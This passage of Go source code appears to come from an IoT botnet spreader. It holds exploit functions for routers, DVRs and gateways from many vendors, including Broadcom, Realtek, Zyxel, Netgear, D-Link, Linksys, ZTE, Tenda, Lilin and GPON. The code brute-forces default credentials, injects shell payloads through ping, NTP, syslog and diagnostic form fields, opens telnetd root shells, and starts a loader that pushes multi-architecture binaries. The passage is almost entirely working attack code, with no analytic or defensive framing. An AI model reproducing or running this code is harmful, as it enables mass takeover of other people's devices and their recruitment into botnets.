"&sessionKey=")1843index2 := strings.Index(string(bytebuf)[index1+len("&sessionKey="):], "';")1844sessionKey := string(bytebuf)[index1+len("&sessionKey="):index1+len("&sessionKey=")+index2]1845return sessionKey1846}1847}18481849return ""1850}18511852func infectFunctionBroadcom(target string) {18531854conn, err := net.DialTimeout("tcp", target, 10 * time.Second)1855if err != nil {1856return1857}18581859conn.Write([]byte("GET / HTTP/1.1\r\nHost: " + target + "\r\nCache-Control: max-age=0\r\nAuthorization: Basic c3VwcG9ydDpzdXBwb3J0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0\r\nAccept: text/html\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\r\nConnection: close\r\n\r\n"))18601861bytebuf := make([]byte, 64)1862rdlen, err := conn.Read(bytebuf)1863if err != nil || rdlen <= 0 {1864conn.Close()1865return1866}18671868conn.Close()18691870if !strings.Contains(string(bytebuf), "HTTP/1.1 200 Ok\r\nServer: micro_httpd") {1871return1872}18731874conn, err = net.DialTimeout("tcp", target, 10 * time.Second)1875if err != nil {1876return1877}18781879sessionKey := infectFunctionBroadcomSessionKey(target, "c3VwcG9ydDpzdXBwb3J0")1880conn.Write([]byte("GET /sntpcfg.cgi?ntp_enabled=1&ntpServer1=" + broadcomPayload + "&ntpServer2=&ntpServer3=&ntpServer4=&ntpServer5=&timezone_offset=-05:00&timezone=XXX+5YYY,M3.2.0/02:00:00,M11.1.0/02:00:00&tzArray_index=13&use_dst=0&sessionKey=" + sessionKey +" HTTP/1.1\r\nHost: " + target + "\r\nAuthorization: Basic c3VwcG9ydDpzdXBwb3J0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0\r\nAccept: text/html\r\nReferer: http://" + target + "/sntpcfg.html\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\r\nConnection: close\r\n\r\n"))18811882bytebuf = make([]byte, 256)1883rdlen, err = conn.Read(bytebuf)1884if err != nil || rdlen <= 0 {1885return1886}18871888conn.Close()18891890conn, err = net.DialTimeout("tcp", target, 10 * time.Second)1891if err != nil {1892return1893}18941895sessionKey = infectFunctionBroadcomSessionKey(target, "c3VwcG9ydDpzdXBwb3J0")1896conn.Write([]byte("GET /pingHost.cmd?action=add&targetHostAddress=;ps|sh&sessionKey=" + sessionKey + " HTTP/1.1\r\nHost: " + target + "\r\nAuthorization: Basic c3VwcG9ydDpzdXBwb3J0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0\r\nAccept: text/html\r\nReferer: http://" + target + "/ping.html\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\r\nConnection: close\r\n\r\n"))18971898bytebuf = make([]byte, 256)1899rdlen, err = conn.Read(bytebuf)1900if err != nil || rdlen <= 0 {1901return1902}19031904conn.Close()19051906if !strings.Contains(string(bytebuf), "COMPLETED") {1907fmt.Printf("\x1b[38;5;46mBroadcom\x1b[38;5;15m: \x1b[38;5;134m%s:%s:%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", target, "support", "support")1908return1909}19101911conn, err = net.DialTimeout("tcp", target, 10 * time.Second)1912if err != nil {1913return1914}19151916sessionKey = infectFunctionBroadcomSessionKey(target, "c3VwcG9ydDpzdXBwb3J0")1917conn.Write([]byte("GET /sntpcfg.cgi?ntp_enabled=1&ntpServer1=time.nist.gov&ntpServer2=&ntpServer3=&ntpServer4=&ntpServer5=&timezone_offset=-05:00&timezone=XXX+5YYY,M3.2.0/02:00:00,M11.1.0/02:00:00&tzArray_index=13&use_dst=0&sessionKey=" + sessionKey +" HTTP/1.1\r\nHost: " + target + "\r\nAuthorization: Basic c3VwcG9ydDpzdXBwb3J0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0\r\nAccept: text/html\r\nReferer: http://" + target + "/sntpcfg.html\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8\r\nConnection: close\r\n\r\n"))19181919bytebuf = make([]byte, 256)1920rdlen, err = conn.Read(bytebuf)1921if err != nil || rdlen <= 0 {1922return1923}19241925conn.Close()1926}19271928func infectFunctionHongdian(target string) {19291930var (1931rdbuf []byte = []byte("")1932logins []string = []string{"admin:admin", "admin:1234", "admin:12345", "admin:123456", "admin:54321", "admin:password", "admin:", "admin:admin123"}1933)19341935for i := 0; i < len(logins); i++ {1936conn, err := net.DialTimeout("tcp", target, 10 * time.Second)1937if err != nil {1938return1939}19401941authStr := base64.StdEncoding.EncodeToString([]byte(logins[i]))1942conn.Write([]byte("GET / HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAuthorization: Basic " + authStr + "\r\nConnection: close\r\n\r\n"))19431944for {1945tmpbuf := make([]byte, 128)1946ln, err := conn.Read(tmpbuf)1947if ln <= 0 || err != nil {1948break1949}19501951rdbuf = append(rdbuf, tmpbuf...)1952if strings.Contains(string(rdbuf), "HTTP/1.1 200 OK") {1953conn.Close()19541955conn, err = net.DialTimeout("tcp", target, 10 * time.Second)1956if err != nil {1957return1958}19591960payload := "op_type=ping&destination=%3B"1961payload += hongdianPayload1962payload += "&user_options="1963cntlen := strconv.Itoa(len(payload))19641965conn.Write([]byte("POST /tools.cgi HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " + cntlen + "\r\nOrigin: http://" + target + "\r\nAuthorization: Basic " + authStr + "\r\nConnection: close\r\nReferer: http://" + target + "/tools.cgi\r\nUpgrade-Insecure-Requests: 1\r\n\r\n" + payload + "\r\n\r\n"))1966zeroByte(rdbuf)19671968for {1969tmpbuf := make([]byte, 128)1970ln, err := conn.Read(tmpbuf)1971if ln <= 0 || err != nil {1972break1973}19741975rdbuf = append(rdbuf, tmpbuf...)1976if strings.Contains(string(rdbuf), "HTTP/1.1 200 OK") && strings.Contains(string(rdbuf), "/themes/oem.css") {1977fmt.Printf("\x1b[38;5;46mHongdian\x1b[38;5;15m: \x1b[38;5;134m%s:%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", target, logins[i])1978conn.Close()1979payloadSent++1980return1981}1982}19831984conn.Close()1985return1986} else if strings.Contains(string(rdbuf), "HTTP/1.1 401 Unauthorized") {1987break1988}1989}19901991zeroByte(rdbuf)1992conn.Close()1993}1994}19951996func infectFunctionRealtek(target string) {19971998var (1999rdbuf []byte = []byte("")2000logins []string = []string{"admin:admin", "admin:1234", "admin:12345", "admin:123456", "admin:54321", "admin:password", "admin:", "admin:admin123"}2001)20022003for i := 0; i < len(logins); i++ {2004conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2005if err != nil {2006return2007}20082009authStr := base64.StdEncoding.EncodeToString([]byte(logins[i]))2010conn.Write([]byte("GET / HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAuthorization: Basic " + authStr + "\r\nConnection: close\r\n\r\n"))20112012for {2013tmpbuf := make([]byte, 128)2014ln, err := conn.Read(tmpbuf)2015if ln <= 0 || err != nil {2016break2017}20182019rdbuf = append(rdbuf, tmpbuf...)2020if strings.Contains(string(rdbuf), "HTTP/1.1 200") {2021conn.Close()20222023conn, err = net.DialTimeout("tcp", target, 10 * time.Second)2024if err != nil {2025return2026}20272028payload := "submit-url=%2Fsyscmd.htm&sysCmd=ping&sysMagic=&sysCmdType=ping&checkNum=1&sysHost=%3Btelnetd%20-l/bin/sh%20-p31443&apply=Apply&msg=boa.conf%0D%0Amime.types%0D%0A"2029cntlen := strconv.Itoa(len(payload))20302031conn.Write([]byte("POST /boafrm/formSysCmd HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: " + cntlen + "\r\nOrigin: http://" + target + "\r\nAuthorization: Basic " + authStr + "\r\nConnection: close\r\nReferer: http://" + target + "/syscmd.htm\r\nUpgrade-Insecure-Requests: 1\r\n\r\n" + payload + "\r\n\r\n"))2032zeroByte(rdbuf)20332034for {2035tmpbuf := make([]byte, 128)2036ln, err := conn.Read(tmpbuf)2037if ln <= 0 || err != nil {2038break2039}20402041rdbuf = append(rdbuf, tmpbuf...)2042if strings.Contains(string(rdbuf), "Redirect") && strings.Contains(string(rdbuf), "/syscmd.htm") {2043time.Sleep(10 * time.Second)20442045ipslit := strings.Split(target, ":")2046tmpconn, err := net.DialTimeout("tcp", ipslit[0] + ":31443", 10 * time.Second)2047if err == nil {2048fmt.Printf("\x1b[38;5;46mRealtek\x1b[38;5;15m: \x1b[38;5;134m%s:%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", target, logins[i])2049tmpconn.Close()2050}20512052conn.Close()2053payloadSent++2054return2055}2056}20572058conn.Close()2059return2060} else if strings.Contains(string(rdbuf), "HTTP/1.1 401") {2061break2062}2063}20642065zeroByte(rdbuf)2066conn.Close()2067}2068}20692070func infectFunctionTenda(target string) {20712072var rdbuf []byte = []byte("")20732074conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2075if err != nil {2076return2077}20782079conn.Write([]byte("GET /goform/setUsbUnload/.js?deviceName=A;" + tendaPayload + " HTTP/1.1\r\nHost: " + target + "\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: Mozila/5.0\r\n\r\n"))20802081for {2082tmpbuf := make([]byte, 128)2083ln, err := conn.Read(tmpbuf)2084if ln <= 0 || err != nil {2085break2086}20872088rdbuf = append(rdbuf, tmpbuf...)2089if strings.Contains(string(rdbuf), "HTTP/1.0 200 OK") && strings.Contains(string(rdbuf), "{\"errCode\":0}") {2090fmt.Printf("\x1b[38;5;46mTenda\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", target)2091payloadSent++2092break2093}2094}20952096conn.Close()2097}20982099func infectFunctionTotolink(target string) {21002101var (2102rdbuf []byte = []byte("")2103logins []string = []string{"admin:admin", "admin:Soportehfc", "Soportehfc:Soportehfc", "admin:soportehfc", "soportehfc:soportehfc"}2104)21052106for i := 0; i < len(logins); i++ {2107conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2108if err != nil {2109return2110}21112112authStr := base64.StdEncoding.EncodeToString([]byte(logins[i]))2113payload := "submit-url=%2Fsyscmd.htm&sysCmdselect=5&sysCmdselects=0&save_apply=Run+Command&sysCmd="2114payload += totolinkPayload2115cntlen := strconv.Itoa(len(payload))21162117conn.Write([]byte("POST /boafrm/formSysCmd HTTP/1.1\r\nHost: " + target + "\r\nAuthorization: Basic " + authStr + "\r\nUser-Agent: Mozila/5.0\r\nAccept: */*\r\nContent-Length: " + cntlen + "\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\n" + payload + "\r\n\r\n"))21182119for {2120tmpbuf := make([]byte, 128)2121ln, err := conn.Read(tmpbuf)2122if ln <= 0 || err != nil {2123break2124}21252126rdbuf = append(rdbuf, tmpbuf...)2127if strings.Contains(string(rdbuf), "Location: http://" + target + "/syscmd.htm") {2128fmt.Printf("\x1b[38;5;46mTotolink\x1b[38;5;15m: \x1b[38;5;134m%s:%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", target, logins[i])2129payloadSent++2130break2131}2132}21332134zeroByte(rdbuf)2135conn.Close()2136}2137}21382139func infectFunctionZyxel(target string) {21402141var rdbuf []byte = []byte("")21422143conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2144if err != nil {2145return2146}21472148conn.Write([]byte("GET /adv,/cgi-bin/weblogin.cgi?username=admin%27%3B" + zyxelPayload + "+%23&password=asdf HTTP/1.1\r\nHost: " + target + "\r\nContent-Type: application/x-www-form-urlencoded\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\nUser-Agent: Mozila/5.0\r\n\r\n"))21492150for {2151tmpbuf := make([]byte, 128)2152ln, err := conn.Read(tmpbuf)2153if ln <= 0 || err != nil {2154break2155}21562157rdbuf = append(rdbuf, tmpbuf...)2158if strings.Contains(string(rdbuf), "errcode:5") {2159fmt.Printf("\x1b[38;5;46mZyxel\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", target)2160payloadSent++2161break2162}2163}21642165zeroByte(rdbuf)2166conn.Close()2167}21682169func infectFunctionAlcatel(target string) {21702171var rdbuf []byte = []byte("")21722173conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2174if err != nil {2175return2176}21772178conn.Write([]byte("GET /cgi-bin/masterCGI?ping=nomip&user=;" + alcatelPayload + "; HTTP/1.1\r\nHost: " + target + "\r\n\r\n"))21792180tmpbuf := make([]byte, 128)2181ln, err := conn.Read(tmpbuf)2182if ln <= 0 || err != nil {2183conn.Close()2184}21852186zeroByte(rdbuf)2187conn.Close()2188}21892190func infectFunctionLilinDvr(target string) {21912192var authPos int = -12193var pathPos int = -12194var logins = [...]string{"root:icatch99", "report:8Jg0SR8K50", "report:report", "root:root", "admin:admin", "admin:123456", "admin:654321", "admin:1111", "admin:admin123", "admin:1234", "admin:12345"}2195var paths = [...]string{"/dvr/cmd", "/cn/cmd"}21962197for i := 0; i < len(logins); i++ {2198logins[i] = base64.StdEncoding.EncodeToString([]byte(logins[i]))2199}22002201cntLen := 2922202cntLen += len(lilinPayload)2203cntLenString := strconv.Itoa(cntLen)2204bytebuf := make([]byte, 512)22052206for i := 0; i < len(logins); i++ {22072208conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2209if err != nil {2210break2211}22122213conn.Write([]byte("GET / HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: en-GB,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\nConnection: close\r\nUpgrade-Insecure-Requests: 1\r\nAuthorization: Basic " + logins[i] + "\r\n\r\n"))22142215bytebuf := make([]byte, 2048)2216l, err := conn.Read(bytebuf)2217if err != nil || l <= 0 {2218zeroByte(bytebuf)2219conn.Close()2220return2221}22222223if (strings.Contains(string(bytebuf), "HTTP/1.1 200") || strings.Contains(string(bytebuf), "HTTP/1.0 200")) {2224authPos = i2225zeroByte(bytebuf)2226conn.Close()2227break2228} else {2229zeroByte(bytebuf)2230conn.Close()2231continue2232}2233}22342235if (authPos == -1) {2236return2237}22382239for i := 0; i < len(paths); i++ {22402241conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2242if err != nil {2243break2244}22452246conn.Write([]byte("POST " + paths[i] + " HTTP/1.1\r\nHost: " + target + "\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: " + cntLenString + "\r\nAuthorization: Basic " + logins[authPos] + "\r\nUser-Agent: Abcd\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?><DVR Platform=\"Hi3520\"><SetConfiguration File=\"service.xml\"><![CDATA[<?xml version=\"1.0\" encoding=\"UTF-8\"?><DVR Platform=\"Hi3520\"><Service><NTP Enable=\"True\" Interval=\"20000\" Server=\"time.nist.gov&" + lilinPayload + ";echo DONE\"/></Service></DVR>]]></SetConfiguration></DVR>\r\n\r\n"))22472248bytebuf := make([]byte, 2048)2249l, err := conn.Read(bytebuf)2250if err != nil || l <= 0 {2251zeroByte(bytebuf)2252conn.Close()2253continue2254}22552256if (strings.Contains(string(bytebuf), "HTTP/1.1 200") || strings.Contains(string(bytebuf), "HTTP/1.0 200")) {2257pathPos = i2258zeroByte(bytebuf)2259conn.Close()2260fmt.Printf("\x1b[38;5;46mLilin\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", target)2261payloadSent++2262break2263} else {2264zeroByte(bytebuf)2265conn.Close()2266continue2267}2268}22692270if (pathPos != -1) {22712272conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2273if err != nil {2274return2275}22762277conn.Write([]byte("POST " + paths[pathPos] + " HTTP/1.1\r\nHost: " + target + "\r\nAccept-Encoding: gzip, deflate\r\nContent-Length: 281\r\nAuthorization: Basic " + logins[authPos] + "\r\nUser-Agent: Abcd\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?><DVR Platform=\"Hi3520\"><SetConfiguration File=\"service.xml\"><![CDATA[<?xml version=\"1.0\" encoding=\"UTF-8\"?><DVR Platform=\"Hi3520\"><Service><NTP Enable=\"True\" Interval=\"20000\" Server=\"time.nist.gov\"/></Service></DVR>]]></SetConfiguration></DVR>\r\n\r\n"))22782279bytebuf = make([]byte, 2048)2280l, err := conn.Read(bytebuf)2281if err != nil || l <= 0 {2282zeroByte(bytebuf)2283conn.Close()2284return2285}22862287if (strings.Contains(string(bytebuf), "HTTP/1.1 200") || strings.Contains(string(bytebuf), "HTTP/1.0 200")) {2288fmt.Printf("\x1b[38;5;46mLilin\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", target)2289payloadSent++2290}22912292zeroByte(bytebuf)2293conn.Close()2294}22952296return2297}22982299func infectFunctionLinksys(target string) {23002301var rdbuf []byte = []byte("")23022303conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2304if err != nil {2305return2306}23072308var cntLen int = 1022309cntLen += len(linksysPayload)23102311cntLneStr := strconv.Itoa(cntLen)23122313conn.Write([]byte("POST /tmUnblock.cgi HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: " + cntLneStr + "\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nsubmit_button=&change_action=&action=&commit=0&ttcp_num=2&ttcp_size=2&ttcp_ip=-h+%60" + linksysPayload + "%60&StartEPI=1\r\n\r\n"))23142315tmpbuf := make([]byte, 128)2316ln, err := conn.Read(tmpbuf)2317if ln <= 0 || err != nil {2318conn.Close()2319}23202321if strings.Contains(string(tmpbuf), "200") || strings.Contains(string(tmpbuf), "301") || strings.Contains(string(tmpbuf), "302") {2322fmt.Printf("\x1b[38;5;46mLinksys\x1b[38;5;15m: \x1b[38;5;134m%s\x1b[38;5;15m payload sent to device\x1b[38;5;15m\r\n", target)2323}23242325zeroByte(rdbuf)2326conn.Close()2327}23282329func infectFunctionMagic(target string) {23302331ipslit := strings.Split(target, ":")23322333for i := 0; i < len(magicPorts); i++ {2334portVal := strconv.Itoa(magicPorts[i])2335magicGroup.Add(1)2336go infectFunctionMagicProto(ipslit[0] + ":" + portVal)2337}23382339magicGroup.Wait()2340}23412342func infectFunctionDlink(target string) {23432344var rdbuf []byte = []byte("")23452346conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2347if err != nil {2348return2349}23502351rand.Seed(time.Now().UnixNano())2352telnetPort := rand.Intn(50000) + 1000023532354conn.Write([]byte("POST /command.php HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 24\r\n\r\ncmd=telnetd%20-p%20" + strconv.Itoa(telnetPort) + "\r\n\r\n"))23552356tmpbuf := make([]byte, 128)2357ln, err := conn.Read(tmpbuf)2358if ln <= 0 || err != nil {2359conn.Close()2360}23612362time.Sleep(10 * time.Second)2363ipslit := strings.Split(target, ":")2364go telnetLoader(ipslit[0] + ":" + strconv.Itoa(telnetPort), 0, "mips", loaderDlinkTag)2365go telnetLoader(ipslit[0] + ":" + strconv.Itoa(telnetPort), 0, "mpsl", loaderDlinkTag)2366go telnetLoader(ipslit[0] + ":" + strconv.Itoa(telnetPort), 0, "arm7", loaderDlinkTag)2367go telnetLoader(ipslit[0] + ":" + strconv.Itoa(telnetPort), 0, "arm", loaderDlinkTag)2368zeroByte(rdbuf)2369conn.Close()2370}23712372func infectFunctionZyxelTwo(target string) {23732374var rdbuf []byte = []byte("")23752376conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2377if err != nil {2378return2379}23802381var cntLen int = 1192382cntLen += len(zyxelPayloadTwo)23832384conn.Write([]byte("POST /cgi-bin/ViewLog.asp HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozia/5.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: " + strconv.Itoa(cntLen) + "\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nremote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3B" + zyxelPayloadTwo + "%3B%23&remoteSubmit=Save^[[A\r\n\r\n"))23852386tmpbuf := make([]byte, 128)2387ln, err := conn.Read(tmpbuf)2388if ln <= 0 || err != nil {2389conn.Close()2390}23912392zeroByte(rdbuf)2393conn.Close()2394}23952396func infectFunctionNetgear(target string) {23972398var rdbuf []byte = []byte("")23992400conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2401if err != nil {2402return2403}24042405var cntLen int = 422406cntLen += len(netgearPayload)24072408conn.Write([]byte("POST /dnslookup.cgi HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: " + strconv.Itoa(cntLen) + "\r\nContent-Type: application/x-www-form-urlencoded\r\nAuthorization: Basic YWRtaW46cGFzc3dvcmQ=\r\n\r\nhost_name=www.google.com%3B+" + netgearPayload + "&lookup=Lookup\r\n\r\n"))24092410tmpbuf := make([]byte, 128)2411ln, err := conn.Read(tmpbuf)2412if ln <= 0 || err != nil {2413conn.Close()2414}24152416zeroByte(rdbuf)2417conn.Close()2418}24192420func infectFunctionZte(target string) {24212422var rdbuf []byte = []byte("")24232424conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2425if err != nil {2426return2427}24282429var cntLen int = 802430cntLen += len(ztePayload)24312432conn.Write([]byte("POST /web_shell_cmd.gch HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: " + strconv.Itoa(cntLen) + "\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nIF_ACTION=apply&IF_ERRORSTR=SUCC&IF_ERRORPARAM=SUCC&IF_ERRORTYPE=-1&Cmd=" + ztePayload + "&CmdAck=\r\n\r\n"))24332434tmpbuf := make([]byte, 128)2435ln, err := conn.Read(tmpbuf)2436if ln <= 0 || err != nil {2437conn.Close()2438}24392440zeroByte(rdbuf)2441conn.Close()2442}24432444func infectFunctionNetgearTwo(target string) {24452446var rdbuf []byte = []byte("")24472448conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2449if err != nil {2450return2451}24522453conn.Write([]byte("GET /None?writeData=true®info=0&macAddress=%20001122334455%20-c%200%20;" + netgearPayload + ";%20echo%20 HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\n\r\n"))24542455tmpbuf := make([]byte, 128)2456ln, err := conn.Read(tmpbuf)2457if ln <= 0 || err != nil {2458conn.Close()2459}24602461zeroByte(rdbuf)2462conn.Close()2463}24642465func infectFunctionNetgearThree(target string) {24662467var rdbuf []byte = []byte("")24682469conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2470if err != nil {2471return2472}24732474var cntLen int = 812475cntLen += len(netgearPayload)24762477conn.Write([]byte("POST /ping.cgi HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nreferer: " + target + "/DIAG_diag.htm\r\nContent-Length: " + strconv.Itoa(cntLen) + "\r\nContent-Type: application/x-www-form-urlencoded\r\nAuthorization: Basic YWRtaW46cGFzc3dvcmQ=\r\n\r\nIPAddr1=12&IPAddr2=12&IPAddr3=12&IPAddr4=12&ping=Ping&ping_IPAddr=12.12.12.12%3B+" + netgearPayload+ "\r\n\r\n"))24782479tmpbuf := make([]byte, 128)2480ln, err := conn.Read(tmpbuf)2481if ln <= 0 || err != nil {2482conn.Close()2483}24842485zeroByte(rdbuf)2486conn.Close()2487}24882489func infectFunctionNetgearFour(target string) {24902491var rdbuf []byte = []byte("")24922493conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2494if err != nil {2495return2496}24972498conn.Write([]byte("GET /cgi-bin/;" + netgearPayload + " HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\n\r\n"))24992500tmpbuf := make([]byte, 128)2501ln, err := conn.Read(tmpbuf)2502if ln <= 0 || err != nil {2503conn.Close()2504}25052506zeroByte(rdbuf)2507conn.Close()2508}25092510func infectFunctionGponOG(target string) {25112512var rdbuf []byte = []byte("")25132514conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2515if err != nil {2516return2517}25182519var cntLen int = 682520cntLen += len(gponOGPayload)25212522conn.Write([]byte("POST /GponForm/diag_Form?images/ HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: " + strconv.Itoa(cntLen) + "\r\nContent-Type: application/x-www-form-urlencoded\r\n\r\nXWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=%60" + gponOGPayload + "&ipv=0\r\n\r\n"))25232524tmpbuf := make([]byte, 128)2525ln, err := conn.Read(tmpbuf)2526if ln <= 0 || err != nil {2527conn.Close()2528}25292530zeroByte(rdbuf)2531conn.Close()2532}25332534func infectFunctionLinksysTwo(target string) {25352536var rdbuf []byte = []byte("")25372538conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2539if err != nil {2540return2541}25422543var cntLen int = 1592544cntLen += len(linksysTwoPayload)25452546conn.Write([]byte("POST /apply.cgi HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: " + strconv.Itoa(cntLen) + "\r\nContent-Type: application/x-www-form-urlencoded\r\nAuthorization: Basic YWRtaW46YWRtaW4=\r\n\r\nsubmit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_size=%26" + linksysTwoPayload + "&ping_times=5&traceroute_ip=127.0.0.1\r\n\r\n"))25472548tmpbuf := make([]byte, 128)2549ln, err := conn.Read(tmpbuf)2550if ln <= 0 || err != nil {2551conn.Close()2552}25532554zeroByte(rdbuf)2555conn.Close()2556}25572558func infectFunctionLinksysThree(target string) {25592560var rdbuf []byte = []byte("")25612562conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2563if err != nil {2564return2565}25662567var cntLen int = 232568cntLen += len(linksysTwoPayload)25692570conn.Write([]byte("POST /debug.cgi HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: python-requests/2.21.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: " + strconv.Itoa(cntLen) + "\r\nContent-Type: application/x-www-form-urlencoded\r\nAuthorization: Basic R2VtdGVrOmdlbXRla3N3ZA==\r\n\r\ndata1=" + linksysTwoPayload + "&command=ui_debug\r\n\r\n"))25712572tmpbuf := make([]byte, 128)2573ln, err := conn.Read(tmpbuf)2574if ln <= 0 || err != nil {2575conn.Close()2576}25772578zeroByte(rdbuf)2579conn.Close()2580}25812582func infectFunctionDlinkTwo(target string) {25832584var rdbuf []byte = []byte("")25852586conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2587if err != nil {2588return2589}25902591var cntLen int = 912592cntLen += len(dlinkTwoPayload)25932594conn.Write([]byte("POST /setSystemCommand HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nContent-Length: " + strconv.Itoa(cntLen) + "\r\nAuthorization: Basic YWRtaW46\r\n\r\nReplySuccessPage=docmd.htm&ReplyErrorPage=docmd.htm&SystemCommand=" + dlinkTwoPayload + "&ConfigSystemCommand=Save\r\n\r\n"))25952596tmpbuf := make([]byte, 128)2597ln, err := conn.Read(tmpbuf)2598if ln <= 0 || err != nil {2599conn.Close()2600}26012602zeroByte(rdbuf)2603conn.Close()2604}26052606func infectFunctionDlinkThree(target string) {26072608var rdbuf []byte = []byte("")26092610conn, err := net.DialTimeout("tcp", target, 10 * time.Second)2611if err != nil {2612return2613}26142615var cntLen int = 202616cntLen += len(dlinkTwoPayload)26172618conn.Write([]byte("POST /diagnostic.php HTTP/1.1\r\nHost: " + target + "\r\nUser-Agent: Mozila/5.0\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\r\nContent-Length: " + 